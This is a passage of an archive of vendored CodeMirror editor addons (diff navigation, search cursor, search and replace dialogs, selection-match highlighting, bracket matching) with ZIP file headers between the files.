    for (var i = 0; i < dv.chunks.length; i++) {
      var chunk = dv.chunks[i];
      for (var l = chunk.editFrom - margin; l < chunk.editTo + margin; l++) {
        var pos = l + off;
        if (pos >= 0 && pos < clear.length) clear[pos] = false;
      }
    }
  }

  function collapseIdenticalStretches(mv, margin) {
    if (typeof margin != "number") margin = 2;
    var clear = [], edit = mv.editor(), off = edit.firstLine();
    for (var l = off, e = edit.lastLine(); l <= e; l++) clear.push(true);
    if (mv.left) unclearNearChunks(mv.left, margin, off, clear);
    if (mv.right) unclearNearChunks(mv.right, margin, off, clear);

    for (var i = 0; i < clear.length; i++) {
      if (clear[i]) {
        var line = i + off;
        for (var size = 1; i < clear.length - 1 && clear[i + 1]; i++, size++) {}
        if (size > margin) {
          var editors = [{line: line, cm: edit}];
          if (mv.left) editors.push({line: getMatchingOrigLine(line, mv.left.chunks), cm: mv.left.orig});
          if (mv.right) editors.push({line: getMatchingOrigLine(line, mv.right.chunks), cm: mv.right.orig});
          var mark = collapseStretch(size, editors);
          if (mv.options.onCollapse) mv.options.onCollapse(mv, line, size, mark);
        }
      }
    }
  }

  // General utilities

  function elt(tag, content, className, style) {
    var e = document.createElement(tag);
    if (className) e.className = className;
    if (style) e.style.cssText = style;
    if (typeof content == "string") e.appendChild(document.createTextNode(content));
    else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
    return e;
  }

  function clear(node) {
    for (var count = node.childNodes.length; count > 0; --count)
      node.removeChild(node.firstChild);
  }

  function attrs(elt) {
    for (var i = 1; i < arguments.length; i += 2)
      elt.setAttribute(arguments[i], arguments[i+1]);
  }

  function copyObj(obj, target) {
    if (!target) target = {};
    for (var prop in obj) if (obj.hasOwnProperty(prop)) target[prop] = obj[prop];
    return target;
  }

  function moveOver(pos, str, copy, other) {
    var out = copy ? Pos(pos.line, pos.ch) : pos, at = 0;
    for (;;) {
      var nl = str.indexOf("\n", at);
      if (nl == -1) break;
      ++out.line;
      if (other) ++other.line;
      at = nl + 1;
    }
    out.ch = (at ? 0 : out.ch) + (str.length - at);
    if (other) other.ch = (at ? 0 : other.ch) + (str.length - at);
    return out;
  }

  function posMin(a, b) { return (a.line - b.line || a.ch - b.ch) < 0 ? a : b; }
  function posMax(a, b) { return (a.line - b.line || a.ch - b.ch) > 0 ? a : b; }
  function posEq(a, b) { return a.line == b.line && a.ch == b.ch; }

  function findPrevDiff(chunks, start, isOrig) {
    for (var i = chunks.length - 1; i >= 0; i--) {
      var chunk = chunks[i];
      var to = (isOrig ? chunk.origTo : chunk.editTo) - 1;
      if (to < start) return to;
    }
  }

  function findNextDiff(chunks, start, isOrig) {
    for (var i = 0; i < chunks.length; i++) {
      var chunk = chunks[i];
      var from = (isOrig ? chunk.origFrom : chunk.editFrom);
      if (from > start) return from;
    }
  }

  function goNearbyDiff(cm, dir) {
    var found = null, views = cm.state.diffViews, line = cm.getCursor().line;
    if (views) for (var i = 0; i < views.length; i++) {
      var dv = views[i], isOrig = cm == dv.orig;
      ensureDiff(dv);
      var pos = dir < 0 ? findPrevDiff(dv.chunks, line, isOrig) : findNextDiff(dv.chunks, line, isOrig);
      if (pos != null && (found == null || (dir < 0 ? pos > found : pos < found)))
        found = pos;
    }
    if (found != null)
      cm.setCursor(found, 0);
    else
      return CodeMirror.Pass;
  }

  CodeMirror.commands.goNextDiff = function(cm) {
    return goNearbyDiff(cm, 1);
  };
  CodeMirror.commands.goPrevDiff = function(cm) {
    return goNearbyDiff(cm, -1);
  };
});
PK     0w\&      T  customizer/framework/assets/js/vendor/codemirror/addon/search/matchesonscrollbar.cssnu [        .CodeMirror-search-match {
  background: gold;
  border-top: 1px solid orange;
  border-bottom: 1px solid orange;
  -moz-box-sizing: border-box;
  box-sizing: border-box;
  opacity: .5;
}
PK     0w\	e+  +  M  customizer/framework/assets/js/vendor/codemirror/addon/search/searchcursor.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";
  var Pos = CodeMirror.Pos;

  function SearchCursor(doc, query, pos, caseFold) {
    this.atOccurrence = false; this.doc = doc;
    if (caseFold == null && typeof query == "string") caseFold = false;

    pos = pos ? doc.clipPos(pos) : Pos(0, 0);
    this.pos = {from: pos, to: pos};

    // The matches method is filled in based on the type of query.
    // It takes a position and a direction, and returns an object
    // describing the next occurrence of the query, or null if no
    // more matches were found.
    if (typeof query != "string") { // Regexp match
      if (!query.global) query = new RegExp(query.source, query.ignoreCase ? "ig" : "g");
      this.matches = function(reverse, pos) {
        if (reverse) {
          query.lastIndex = 0;
          var line = doc.getLine(pos.line).slice(0, pos.ch), cutOff = 0, match, start;
          for (;;) {
            query.lastIndex = cutOff;
            var newMatch = query.exec(line);
            if (!newMatch) break;
            match = newMatch;
            start = match.index;
            cutOff = match.index + (match[0].length || 1);
            if (cutOff == line.length) break;
          }
          var matchLen = (match && match[0].length) || 0;
          if (!matchLen) {
            if (start == 0 && line.length == 0) {match = undefined;}
            else if (start != doc.getLine(pos.line).length) {
              matchLen++;
            }
          }
        } else {
          query.lastIndex = pos.ch;
          var line = doc.getLine(pos.line), match = query.exec(line);
          var matchLen = (match && match[0].length) || 0;
          var start = match && match.index;
          if (start + matchLen != line.length && !matchLen) matchLen = 1;
        }
        if (match && matchLen)
          return {from: Pos(pos.line, start),
                  to: Pos(pos.line, start + matchLen),
                  match: match};
      };
    } else { // String query
      var origQuery = query;
      if (caseFold) query = query.toLowerCase();
      var fold = caseFold ? function(str){return str.toLowerCase();} : function(str){return str;};
      var target = query.split("\n");
      // Different methods for single-line and multi-line queries
      if (target.length == 1) {
        if (!query.length) {
          // Empty string would match anything and never progress, so
          // we define it to match nothing instead.
          this.matches = function() {};
        } else {
          this.matches = function(reverse, pos) {
            if (reverse) {
              var orig = doc.getLine(pos.line).slice(0, pos.ch), line = fold(orig);
              var match = line.lastIndexOf(query);
              if (match > -1) {
                match = adjustPos(orig, line, match);
                return {from: Pos(pos.line, match), to: Pos(pos.line, match + origQuery.length)};
              }
             } else {
               var orig = doc.getLine(pos.line).slice(pos.ch), line = fold(orig);
               var match = line.indexOf(query);
               if (match > -1) {
                 match = adjustPos(orig, line, match) + pos.ch;
                 return {from: Pos(pos.line, match), to: Pos(pos.line, match + origQuery.length)};
               }
            }
          };
        }
      } else {
        var origTarget = origQuery.split("\n");
        this.matches = function(reverse, pos) {
          var last = target.length - 1;
          if (reverse) {
            if (pos.line - (target.length - 1) < doc.firstLine()) return;
            if (fold(doc.getLine(pos.line).slice(0, origTarget[last].length)) != target[target.length - 1]) return;
            var to = Pos(pos.line, origTarget[last].length);
            for (var ln = pos.line - 1, i = last - 1; i >= 1; --i, --ln)
              if (target[i] != fold(doc.getLine(ln))) return;
            var line = doc.getLine(ln), cut = line.length - origTarget[0].length;
            if (fold(line.slice(cut)) != target[0]) return;
            return {from: Pos(ln, cut), to: to};
          } else {
            if (pos.line + (target.length - 1) > doc.lastLine()) return;
            var line = doc.getLine(pos.line), cut = line.length - origTarget[0].length;
            if (fold(line.slice(cut)) != target[0]) return;
            var from = Pos(pos.line, cut);
            for (var ln = pos.line + 1, i = 1; i < last; ++i, ++ln)
              if (target[i] != fold(doc.getLine(ln))) return;
            if (fold(doc.getLine(ln).slice(0, origTarget[last].length)) != target[last]) return;
            return {from: from, to: Pos(ln, origTarget[last].length)};
          }
        };
      }
    }
  }

  SearchCursor.prototype = {
    findNext: function() {return this.find(false);},
    findPrevious: function() {return this.find(true);},

    find: function(reverse) {
      var self = this, pos = this.doc.clipPos(reverse ? this.pos.from : this.pos.to);
      function savePosAndFail(line) {
        var pos = Pos(line, 0);
        self.pos = {from: pos, to: pos};
        self.atOccurrence = false;
        return false;
      }

      for (;;) {
        if (this.pos = this.matches(reverse, pos)) {
          this.atOccurrence = true;
          return this.pos.match || true;
        }
        if (reverse) {
          if (!pos.line) return savePosAndFail(0);
          pos = Pos(pos.line-1, this.doc.getLine(pos.line-1).length);
        }
        else {
          var maxLine = this.doc.lineCount();
          if (pos.line == maxLine - 1) return savePosAndFail(maxLine);
          pos = Pos(pos.line + 1, 0);
        }
      }
    },

    from: function() {if (this.atOccurrence) return this.pos.from;},
    to: function() {if (this.atOccurrence) return this.pos.to;},

    replace: function(newText, origin) {
      if (!this.atOccurrence) return;
      var lines = CodeMirror.splitLines(newText);
      this.doc.replaceRange(lines, this.pos.from, this.pos.to, origin);
      this.pos.to = Pos(this.pos.from.line + lines.length - 1,
                        lines[lines.length - 1].length + (lines.length == 1 ? this.pos.from.ch : 0));
    }
  };

  // Maps a position in a case-folded line back to a position in the original line
  // (compensating for codepoints increasing in number during folding)
  function adjustPos(orig, folded, pos) {
    if (orig.length == folded.length) return pos;
    for (var pos1 = Math.min(pos, orig.length);;) {
      var len1 = orig.slice(0, pos1).toLowerCase().length;
      if (len1 < pos) ++pos1;
      else if (len1 > pos) --pos1;
      else return pos1;
    }
  }

  CodeMirror.defineExtension("getSearchCursor", function(query, pos, caseFold) {
    return new SearchCursor(this.doc, query, pos, caseFold);
  });
  CodeMirror.defineDocExtension("getSearchCursor", function(query, pos, caseFold) {
    return new SearchCursor(this, query, pos, caseFold);
  });

  CodeMirror.defineExtension("selectMatches", function(query, caseFold) {
    var ranges = [];
    var cur = this.getSearchCursor(query, this.getCursor("from"), caseFold);
    while (cur.findNext()) {
      if (CodeMirror.cmpPos(cur.to(), this.getCursor("to")) > 0) break;
      ranges.push({anchor: cur.from(), head: cur.to()});
    }
    if (ranges.length)
      this.setSelections(ranges, 0);
  });
});
PK     0w\6@    S  customizer/framework/assets/js/vendor/codemirror/addon/search/matchesonscrollbar.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./searchcursor"), require("../scroll/annotatescrollbar"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./searchcursor", "../scroll/annotatescrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("showMatchesOnScrollbar", function(query, caseFold, options) {
    if (typeof options == "string") options = {className: options};
    if (!options) options = {};
    return new SearchAnnotation(this, query, caseFold, options);
  });

  function SearchAnnotation(cm, query, caseFold, options) {
    this.cm = cm;
    this.options = options;
    var annotateOptions = {listenForChanges: false};
    for (var prop in options) annotateOptions[prop] = options[prop];
    if (!annotateOptions.className) annotateOptions.className = "CodeMirror-search-match";
    this.annotation = cm.annotateScrollbar(annotateOptions);
    this.query = query;
    this.caseFold = caseFold;
    this.gap = {from: cm.firstLine(), to: cm.lastLine() + 1};
    this.matches = [];
    this.update = null;

    this.findMatches();
    this.annotation.update(this.matches);

    var self = this;
    cm.on("change", this.changeHandler = function(_cm, change) { self.onChange(change); });
  }

  var MAX_MATCHES = 1000;

  SearchAnnotation.prototype.findMatches = function() {
    if (!this.gap) return;
    for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      if (match.from.line >= this.gap.to) break;
      if (match.to.line >= this.gap.from) this.matches.splice(i--, 1);
    }
    var cursor = this.cm.getSearchCursor(this.query, CodeMirror.Pos(this.gap.from, 0), this.caseFold);
    var maxMatches = this.options && this.options.maxMatches || MAX_MATCHES;
    while (cursor.findNext()) {
      var match = {from: cursor.from(), to: cursor.to()};
      if (match.from.line >= this.gap.to) break;
      this.matches.splice(i++, 0, match);
      if (this.matches.length > maxMatches) break;
    }
    this.gap = null;
  };

  function offsetLine(line, changeStart, sizeChange) {
    if (line <= changeStart) return line;
    return Math.max(changeStart, line + sizeChange);
  }

  SearchAnnotation.prototype.onChange = function(change) {
    var startLine = change.from.line;
    var endLine = CodeMirror.changeEnd(change).line;
    var sizeChange = endLine - change.to.line;
    if (this.gap) {
      this.gap.from = Math.min(offsetLine(this.gap.from, startLine, sizeChange), change.from.line);
      this.gap.to = Math.max(offsetLine(this.gap.to, startLine, sizeChange), change.from.line);
    } else {
      this.gap = {from: change.from.line, to: endLine + 1};
    }

    if (sizeChange) for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      var newFrom = offsetLine(match.from.line, startLine, sizeChange);
      if (newFrom != match.from.line) match.from = CodeMirror.Pos(newFrom, match.from.ch);
      var newTo = offsetLine(match.to.line, startLine, sizeChange);
      if (newTo != match.to.line) match.to = CodeMirror.Pos(newTo, match.to.ch);
    }
    clearTimeout(this.update);
    var self = this;
    this.update = setTimeout(function() { self.updateAfterChange(); }, 250);
  };

  SearchAnnotation.prototype.updateAfterChange = function() {
    this.findMatches();
    this.annotation.update(this.matches);
  };

  SearchAnnotation.prototype.clear = function() {
    this.cm.off("change", this.changeHandler);
    this.annotation.clear();
  };
});
PK     0w\1?"  "  G  customizer/framework/assets/js/vendor/codemirror/addon/search/search.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Define search commands. Depends on dialog.js or another
// implementation of the openDialog method.

// Replace works a little oddly -- it will do the replace on the next
// Ctrl-G (or whatever is bound to findNext) press. You prevent a
// replace by making sure the match is no longer selected when hitting
// Ctrl-G.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("./searchcursor"), require("../dialog/dialog"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "./searchcursor", "../dialog/dialog"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function searchOverlay(query, caseInsensitive) {
    if (typeof query == "string")
      query = new RegExp(query.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, "\\$&"), caseInsensitive ? "gi" : "g");
    else if (!query.global)
      query = new RegExp(query.source, query.ignoreCase ? "gi" : "g");

    return {token: function(stream) {
      query.lastIndex = stream.pos;
      var match = query.exec(stream.string);
      if (match && match.index == stream.pos) {
        stream.pos += match[0].length || 1;
        return "searching";
      } else if (match) {
        stream.pos = match.index;
      } else {
        stream.skipToEnd();
      }
    }};
  }

  function SearchState() {
    this.posFrom = this.posTo = this.lastQuery = this.query = null;
    this.overlay = null;
  }

  function getSearchState(cm) {
    return cm.state.search || (cm.state.search = new SearchState());
  }

  function queryCaseInsensitive(query) {
    return typeof query == "string" && query == query.toLowerCase();
  }

  function getSearchCursor(cm, query, pos) {
    // Heuristic: if the query string is all lowercase, do a case insensitive search.
    return cm.getSearchCursor(query, pos, queryCaseInsensitive(query));
  }

  function persistentDialog(cm, text, deflt, f) {
    cm.openDialog(text, f, {
      value: deflt,
      selectValueOnOpen: true,
      closeOnEnter: false,
      onClose: function() { clearSearch(cm); }
    });
  }

  function dialog(cm, text, shortText, deflt, f) {
    if (cm.openDialog) cm.openDialog(text, f, {value: deflt, selectValueOnOpen: true});
    else f(prompt(shortText, deflt));
  }

  function confirmDialog(cm, text, shortText, fs) {
    if (cm.openConfirm) cm.openConfirm(text, fs);
    else if (confirm(shortText)) fs[0]();
  }

  function parseString(string) {
    return string.replace(/\\(.)/g, function(_, ch) {
      if (ch == "n") return "\n"
      if (ch == "r") return "\r"
      return ch
    })
  }

  function parseQuery(query) {
    var isRE = query.match(/^\/(.*)\/([a-z]*)$/);
    if (isRE) {
      try { query = new RegExp(isRE[1], isRE[2].indexOf("i") == -1 ? "" : "i"); }
      catch(e) {} // Not a regular expression after all, do a string search
    } else {
      query = parseString(query)
    }
    if (typeof query == "string" ? query == "" : query.test(""))
      query = /x^/;
    return query;
  }

  var queryDialog =
    'Search: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>';

  function startSearch(cm, state, query) {
    state.queryText = query;
    state.query = parseQuery(query);
    cm.removeOverlay(state.overlay, queryCaseInsensitive(state.query));
    state.overlay = searchOverlay(state.query, queryCaseInsensitive(state.query));
    cm.addOverlay(state.overlay);
    if (cm.showMatchesOnScrollbar) {
      if (state.annotate) { state.annotate.clear(); state.annotate = null; }
      state.annotate = cm.showMatchesOnScrollbar(state.query, queryCaseInsensitive(state.query));
    }
  }

  function doSearch(cm, rev, persistent) {
    var state = getSearchState(cm);
    if (state.query) return findNext(cm, rev);
    var q = cm.getSelection() || state.lastQuery;
    if (persistent && cm.openDialog) {
      var hiding = null
      persistentDialog(cm, queryDialog, q, function(query, event) {
        CodeMirror.e_stop(event);
        if (!query) return;
        if (query != state.queryText) startSearch(cm, state, query);
        if (hiding) hiding.style.opacity = 1
        findNext(cm, event.shiftKey, function(_, to) {
          var dialog
          if (to.line < 3 && document.querySelector &&
              (dialog = cm.display.wrapper.querySelector(".CodeMirror-dialog")) &&
              dialog.getBoundingClientRect().bottom - 4 > cm.cursorCoords(to, "window").top)
            (hiding = dialog).style.opacity = .4
        })
      });
    } else {
      dialog(cm, queryDialog, "Search for:", q, function(query) {
        if (query && !state.query) cm.operation(function() {
          startSearch(cm, state, query);
          state.posFrom = state.posTo = cm.getCursor();
          findNext(cm, rev);
        });
      });
    }
  }

  function findNext(cm, rev, callback) {cm.operation(function() {
    var state = getSearchState(cm);
    var cursor = getSearchCursor(cm, state.query, rev ? state.posFrom : state.posTo);
    if (!cursor.find(rev)) {
      cursor = getSearchCursor(cm, state.query, rev ? CodeMirror.Pos(cm.lastLine()) : CodeMirror.Pos(cm.firstLine(), 0));
      if (!cursor.find(rev)) return;
    }
    cm.setSelection(cursor.from(), cursor.to());
    cm.scrollIntoView({from: cursor.from(), to: cursor.to()}, 20);
    state.posFrom = cursor.from(); state.posTo = cursor.to();
    if (callback) callback(cursor.from(), cursor.to())
  });}

  function clearSearch(cm) {cm.operation(function() {
    var state = getSearchState(cm);
    state.lastQuery = state.query;
    if (!state.query) return;
    state.query = state.queryText = null;
    cm.removeOverlay(state.overlay);
    if (state.annotate) { state.annotate.clear(); state.annotate = null; }
  });}

  var replaceQueryDialog =
    ' <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>';
  var replacementQueryDialog = 'With: <input type="text" style="width: 10em" class="CodeMirror-search-field"/>';
  var doReplaceConfirm = "Replace? <button>Yes</button> <button>No</button> <button>All</button> <button>Stop</button>";

  function replaceAll(cm, query, text) {
    cm.operation(function() {
      for (var cursor = getSearchCursor(cm, query); cursor.findNext();) {
        if (typeof query != "string") {
          var match = cm.getRange(cursor.from(), cursor.to()).match(query);
          cursor.replace(text.replace(/\$(\d)/g, function(_, i) {return match[i];}));
        } else cursor.replace(text);
      }
    });
  }

  function replace(cm, all) {
    if (cm.getOption("readOnly")) return;
    var query = cm.getSelection() || getSearchState(cm).lastQuery;
    var dialogText = all ? "Replace all:" : "Replace:"
    dialog(cm, dialogText + replaceQueryDialog, dialogText, query, function(query) {
      if (!query) return;
      query = parseQuery(query);
      dialog(cm, replacementQueryDialog, "Replace with:", "", function(text) {
        text = parseString(text)
        if (all) {
          replaceAll(cm, query, text)
        } else {
          clearSearch(cm);
          var cursor = getSearchCursor(cm, query, cm.getCursor());
          var advance = function() {
            var start = cursor.from(), match;
            if (!(match = cursor.findNext())) {
              cursor = getSearchCursor(cm, query);
              if (!(match = cursor.findNext()) ||
                  (start && cursor.from().line == start.line && cursor.from().ch == start.ch)) return;
            }
            cm.setSelection(cursor.from(), cursor.to());
            cm.scrollIntoView({from: cursor.from(), to: cursor.to()});
            confirmDialog(cm, doReplaceConfirm, "Replace?",
                          [function() {doReplace(match);}, advance,
                           function() {replaceAll(cm, query, text)}]);
          };
          var doReplace = function(match) {
            cursor.replace(typeof query == "string" ? text :
                           text.replace(/\$(\d)/g, function(_, i) {return match[i];}));
            advance();
          };
          advance();
        }
      });
    });
  }

  CodeMirror.commands.find = function(cm) {clearSearch(cm); doSearch(cm);};
  CodeMirror.commands.findPersistent = function(cm) {clearSearch(cm); doSearch(cm, false, true);};
  CodeMirror.commands.findNext = doSearch;
  CodeMirror.commands.findPrev = function(cm) {doSearch(cm, true);};
  CodeMirror.commands.clearSearch = clearSearch;
  CodeMirror.commands.replace = replace;
  CodeMirror.commands.replaceAll = function(cm) {replace(cm, true);};
});
PK     0w\
pkO  O  R  customizer/framework/assets/js/vendor/codemirror/addon/search/match-highlighter.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Highlighting text that matches the selection
//
// Defines an option highlightSelectionMatches, which, when enabled,
// will style strings that match the selection throughout the
// document.
//
// The option can be set to true to simply enable it, or to a
// {minChars, style, wordsOnly, showToken, delay} object to explicitly
// configure it. minChars is the minimum amount of characters that should be
// selected for the behavior to occur, and style is the token style to
// apply to the matches. This will be prefixed by "cm-" to create an
// actual CSS class name. If wordsOnly is enabled, the matches will be
// highlighted only if the selected text is a word. showToken, when enabled,
// will cause the current token to be highlighted when nothing is selected.
// delay is used to specify how much time to wait, in milliseconds, before
// highlighting the matches.

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var DEFAULT_MIN_CHARS = 2;
  var DEFAULT_TOKEN_STYLE = "matchhighlight";
  var DEFAULT_DELAY = 100;
  var DEFAULT_WORDS_ONLY = false;

  function State(options) {
    if (typeof options == "object") {
      this.minChars = options.minChars;
      this.style = options.style;
      this.showToken = options.showToken;
      this.delay = options.delay;
      this.wordsOnly = options.wordsOnly;
    }
    if (this.style == null) this.style = DEFAULT_TOKEN_STYLE;
    if (this.minChars == null) this.minChars = DEFAULT_MIN_CHARS;
    if (this.delay == null) this.delay = DEFAULT_DELAY;
    if (this.wordsOnly == null) this.wordsOnly = DEFAULT_WORDS_ONLY;
    this.overlay = this.timeout = null;
  }

  CodeMirror.defineOption("highlightSelectionMatches", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      var over = cm.state.matchHighlighter.overlay;
      if (over) cm.removeOverlay(over);
      clearTimeout(cm.state.matchHighlighter.timeout);
      cm.state.matchHighlighter = null;
      cm.off("cursorActivity", cursorActivity);
    }
    if (val) {
      cm.state.matchHighlighter = new State(val);
      highlightMatches(cm);
      cm.on("cursorActivity", cursorActivity);
    }
  });

  function cursorActivity(cm) {
    var state = cm.state.matchHighlighter;
    clearTimeout(state.timeout);
    state.timeout = setTimeout(function() {highlightMatches(cm);}, state.delay);
  }

  function highlightMatches(cm) {
    cm.operation(function() {
      var state = cm.state.matchHighlighter;
      if (state.overlay) {
        cm.removeOverlay(state.overlay);
        state.overlay = null;
      }
      if (!cm.somethingSelected() && state.showToken) {
        var re = state.showToken === true ? /[\w$]/ : state.showToken;
        var cur = cm.getCursor(), line = cm.getLine(cur.line), start = cur.ch, end = start;
        while (start && re.test(line.charAt(start - 1))) --start;
        while (end < line.length && re.test(line.charAt(end))) ++end;
        if (start < end)
          cm.addOverlay(state.overlay = makeOverlay(line.slice(start, end), re, state.style));
        return;
      }
      var from = cm.getCursor("from"), to = cm.getCursor("to");
      if (from.line != to.line) return;
      if (state.wordsOnly && !isWord(cm, from, to)) return;
      var selection = cm.getRange(from, to).replace(/^\s+|\s+$/g, "");
      if (selection.length >= state.minChars)
        cm.addOverlay(state.overlay = makeOverlay(selection, false, state.style));
    });
  }

  function isWord(cm, from, to) {
    var str = cm.getRange(from, to);
    if (str.match(/^\w+$/) !== null) {
        if (from.ch > 0) {
            var pos = {line: from.line, ch: from.ch - 1};
            var chr = cm.getRange(pos, from);
            if (chr.match(/\W/) === null) return false;
        }
        if (to.ch < cm.getLine(from.line).length) {
            var pos = {line: to.line, ch: to.ch + 1};
            var chr = cm.getRange(to, pos);
            if (chr.match(/\W/) === null) return false;
        }
        return true;
    } else return false;
  }

  function boundariesAround(stream, re) {
    return (!stream.start || !re.test(stream.string.charAt(stream.start - 1))) &&
      (stream.pos == stream.string.length || !re.test(stream.string.charAt(stream.pos)));
  }

  function makeOverlay(query, hasBoundary, style) {
    return {token: function(stream) {
      if (stream.match(query) &&
          (!hasBoundary || boundariesAround(stream, hasBoundary)))
        return style;
      stream.next();
      stream.skipTo(query.charAt(0)) || stream.skipToEnd();
    }};
  }
});
PK     0w\)    L  customizer/framework/assets/js/vendor/codemirror/addon/edit/matchbrackets.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var ie_lt8 = /MSIE \d/.test(navigator.userAgent) &&
    (document.documentMode == null || document.documentMode < 8);

  var Pos = CodeMirror.Pos;

  var matching = {"(": ")>", ")": "(<", "[": "]>", "]": "[<", "{": "}>", "}": "{<"};

  function findMatchingBracket(cm, where, strict, config) {
    var line = cm.getLineHandle(where.line), pos = where.ch - 1;
    var match = (pos >= 0 && matching[line.text.charAt(pos)]) || matching[line.text.charAt(++pos)];
    if (!match) return null;
    var dir = match.charAt(1) == ">" ? 1 : -1;
    if (strict && (dir > 0) != (pos == where.ch)) return null;
    var style = cm.getTokenTypeAt(Pos(where.line, pos + 1));

    var found = scanForBracket(cm, Pos(where.line, pos + (dir > 0 ? 1 : 0)), dir, style || null, config);
    if (found == null) return null;
    return {from: Pos(where.line, pos), to: found && found.pos,
            match: found && found.ch == match.charAt(0), forward: dir > 0};
  }

  // bracketRegex is used to specify which type of bracket to scan
  // should be a regexp, e.g. /[[\]]/
  //
  // Note: If "where" is on an open bracket, then this bracket is ignored.
  //
  // Returns false when no bracket was found, null when it reached
  // maxScanLines and gave up
  function scanForBracket(cm, where, dir, style, config) {
    var maxScanLen = (config && config.maxScanLineLength) || 10000;
    var maxScanLines = (config && config.maxScanLines) || 1000;

    var stack = [];
    var re = config && config.bracketRegex ? config.bracketRegex : /[(){}[\]]/;
    var lineEnd = dir > 0 ? Math.min(where.line + maxScanLines, cm.lastLine() + 1)
                          : Math.max(cm.firstLine() - 1, where.line - maxScanLines);
    for (var lineNo = where.line; lineNo != lineEnd; lineNo += dir) {
      var line = cm.getLine(lineNo);
      if (!line) continue;
      var pos = dir > 0 ? 0 : line.length - 1, end = dir > 0 ? line.length : -1;
      if (line.length > maxScanLen) continue;
      if (lineNo == where.line) pos = where.ch - (dir < 0 ? 1 : 0);
      for (; pos != end; pos += dir) {
        var ch = line.charAt(pos);
        if (re.test(ch) && (style === undefined || cm.getTokenTypeAt(Pos(lineNo, pos + 1)) == style)) {
          var match = matching[ch];
          if ((match.charAt(1) == ">") == (dir > 0)) stack.push(ch);
          else if (!stack.length) return {pos: Pos(lineNo, pos), ch: ch};
          else stack.pop();
        }
      }
    }
    return lineNo - dir == (dir > 0 ? cm.lastLine() : cm.firstLine()) ? false : null;
  }

  function matchBrackets(cm, autoclear, config) {
    // Disable brace matching in long lines, since it'll cause hugely slow updates
    var maxHighlightLen = cm.state.matchBrackets.maxHighlightLineLength || 1000;
    var marks = [], ranges = cm.listSelections();
    for (var i = 0; i < ranges.length; i++) {
      var match = ranges[i].empty() && findMatchingBracket(cm, ranges[i].head, false, config);
      if (match && cm.getLine(match.from.line).length <= maxHighlightLen) {
        var style = match.match ? "CodeMirror-matchingbracket" : "CodeMirror-nonmatchingbracket";
        marks.push(cm.markText(match.from, Pos(match.from.line, match.from.ch + 1), {className: style}));
        if (match.to && cm.getLine(match.to.line).length <= maxHighlightLen)
          marks.push(cm.markText(match.to, Pos(match.to.line, match.to.ch + 1), {className: style}));
      }
    }

    if (marks.length) {
      // Kludge to work around the IE bug from issue #1193, where text
      // input stops going to the textare whever this fires.
      if (ie_lt8 && cm.state.focused) cm.focus();

      var clear = function() {
        cm.operation(function() {
          for (var i = 0; i < marks.length; i++) marks[i].clear();
        });
      };
      if (autoclear) setTimeout(clear, 800);
      else return clear;
    }
  }

  var currentlyHighlighted = null;
  function doMatchBrackets(cm) {
    cm.operation(function() {
      if (currentlyHighlighted) {currentlyHighlighted(); currentlyHighlighted = null;}
      currentlyHighlighted = matchBrackets(cm, false, cm.state.matchBrackets);
    });
  }

  CodeMirror.defineOption("matchBrackets", false, function(cm, val, old) {
    if (old && old != CodeMirror.Init)
      cm.off("cursorActivity", doMatchBrackets);
    if (val) {
      cm.state.matchBrackets = typeof val == "object" ? val : {};
      cm.on("cursorActivity", doMatchBrackets);
    }
  });

  CodeMirror.defineExtension("matchBrackets", function() {matchBrackets(this, true);});
  CodeMirror.defineExtension("findMatchingBracket", function(pos, strict, config){
    return findMatchingBracket(this, pos, strict, config);
  });
  CodeMirror.defineExtension("scanForBracket", function(pos, dir, style, config){
    return scanForBracket(this, pos, dir, style, config);
  });
});
PK     0w\    L  customizer/framework/assets/js/vendor/codemirror/addon/edit/closebrackets.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var defaults = {
